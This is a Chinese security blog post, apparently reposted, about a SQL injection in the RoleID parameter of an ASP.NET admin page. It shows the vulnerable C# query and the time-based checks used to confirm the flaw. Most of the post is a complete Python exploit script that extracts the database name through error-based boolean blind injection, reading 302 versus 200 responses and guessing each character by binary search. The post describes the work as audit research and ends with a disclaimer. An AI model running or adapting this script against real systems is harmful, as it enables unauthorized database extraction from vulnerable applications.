文章总结: 本文讲解了通过页面回显实现半自动化SQL注入的方法。针对某系统RoleID参数拼接导致的注入且SQLmap失效的情况,作者分析了HTTP状态码差异(报错302与正常200),利用报错布尔注入原理,并编写了基于二分法的Python脚本高效猜解数据库名,完整展示了从代码审计到利用脚本复现的攻防过程。 综合评分: 88 文章分类: 渗透测试,漏洞分析,代码审计,漏洞POC
利用页面回显来进行半自动化SQL注入
原创
ptr
UpRoot
2025年12月24日 15:20 江苏
“对了就庆祝,错了就进步,人生的每一步都算数。”
经过一段时间的审计分析,定位到Admin_sysGroupUser.cs文件中存在一处source点。
外部传参id,赋值为hidRecordID.Value,后传入UserContext.getSelectedUser方法中。
跟进UserContext.getSelectedUser方法。
public static DataTable getSelectedUser(string roleId)
{
return DBAccess.ExecuteDataTable($"SELECT ID, UserName AS CName, '0' AS ParentID \r\n FROM GL_G04_User \r\n WHERE ID IN (SELECT UserID FROM GL_G09_RoleUser WHERE RoleID='{roleId}') AND ID <> '0'");
}
存在参数拼接造成sql注入。此处利用sqlmap一把梭无果。
基于此,我们可以构造如下poc:
先用延时判断存在注入:
因为是in注入,表中数据不同发现延时的时间也会不同,我们通过做差来判断。
0:0:5,是10秒
0:0:4,是8秒
0:0:2,是4秒
每次差值为2,基于此,我们可以判断该点存在注入。
当sql语句出错的时候,页面返回302,正常是200。
基于页面返回值的不同,那我们可以通过构造报错,来跑布尔,此法称为:报错布尔注入。
我第一版用了两个for循环来跑,很慢,后面给ai优化利用二分法写个脚本出来跑,时间复杂度相对较低。
import requests
import time
from requests.exceptions import RequestException
BASE_URL = 'http://ip'
TARGET_URL = f"{BASE_URL}/xxxxxx/xxx.aspx"
PROXIES = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}
REQUEST_DELAY = 0.5
RETRY_TIMES = 2
TIMEOUT = 10
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8"
}
def send_request(payload):
params = {"id": payload}
for retry in range(RETRY_TIMES + 1):
try:
resp = requests.get(
url=TARGET_URL,
params=params,
proxies=PROXIES,
headers=HEADERS,
allow_redirects=False,
timeout=TIMEOUT,
verify=False
)
time.sleep(REQUEST_DELAY)
return resp
except RequestException as e:
print(f"请求失败(重试{retry}/{RETRY_TIMES}):{e}")
time.sleep(1)
returnNone
def get_db_length():
print("===== 开始猜解数据库名长度 =====")
for length in range(1, 50):
payload = f"1');IF(LEN(db_name())={length}) SELECT 1/0 ELSE SELECT 1--"
resp = send_request(payload)
if resp and resp.status_code == 302:
print(f"✅ 数据库名长度:{length}")
return length
return0
def get_db_name(db_length):
print("\n===== 开始逐字符猜解数据库名 =====")
db_name = ""
for pos in range(1, db_length + 1):
low = 32
high = 127
while low < high:
mid = (low + high) // 2
payload = (
f"1');IF(ASCII(SUBSTRING(db_name(),{pos},1))>{mid}) "
f"SELECT 1/0 ELSE SELECT 1--"
)
resp = send_request(payload)
if resp and resp.status_code == 302:
low = mid + 1
else:
high = mid
verify_payload = f"1');IF(ASCII(SUBSTRING(db_name(),{pos},1))={low}) SELECT 1/0 ELSE SELECT 1--"
verify_resp = send_request(verify_payload)
if verify_resp and verify_resp.status_code == 302:
char = chr(low)
db_name += char
print(f"🔍 第{pos}位猜解完成:{char} | 当前结果:{db_name}")
else:
print(f"❌ 第{pos}位字符猜解失败,终止流程")
break
return db_name
if __name__ == "__main__":
db_length = get_db_length()
if not db_length:
exit(1)
db_name = get_db_name(db_length)
print("\n===== 猜解完成 =====")
print(f"数据库名长度:{db_length}")
print(f"数据库名:{db_name if db_name else '猜解失败'}")
结果为:
– END –
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:UpRoot ptr《利用页面回显来进行半自动化SQL注入》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论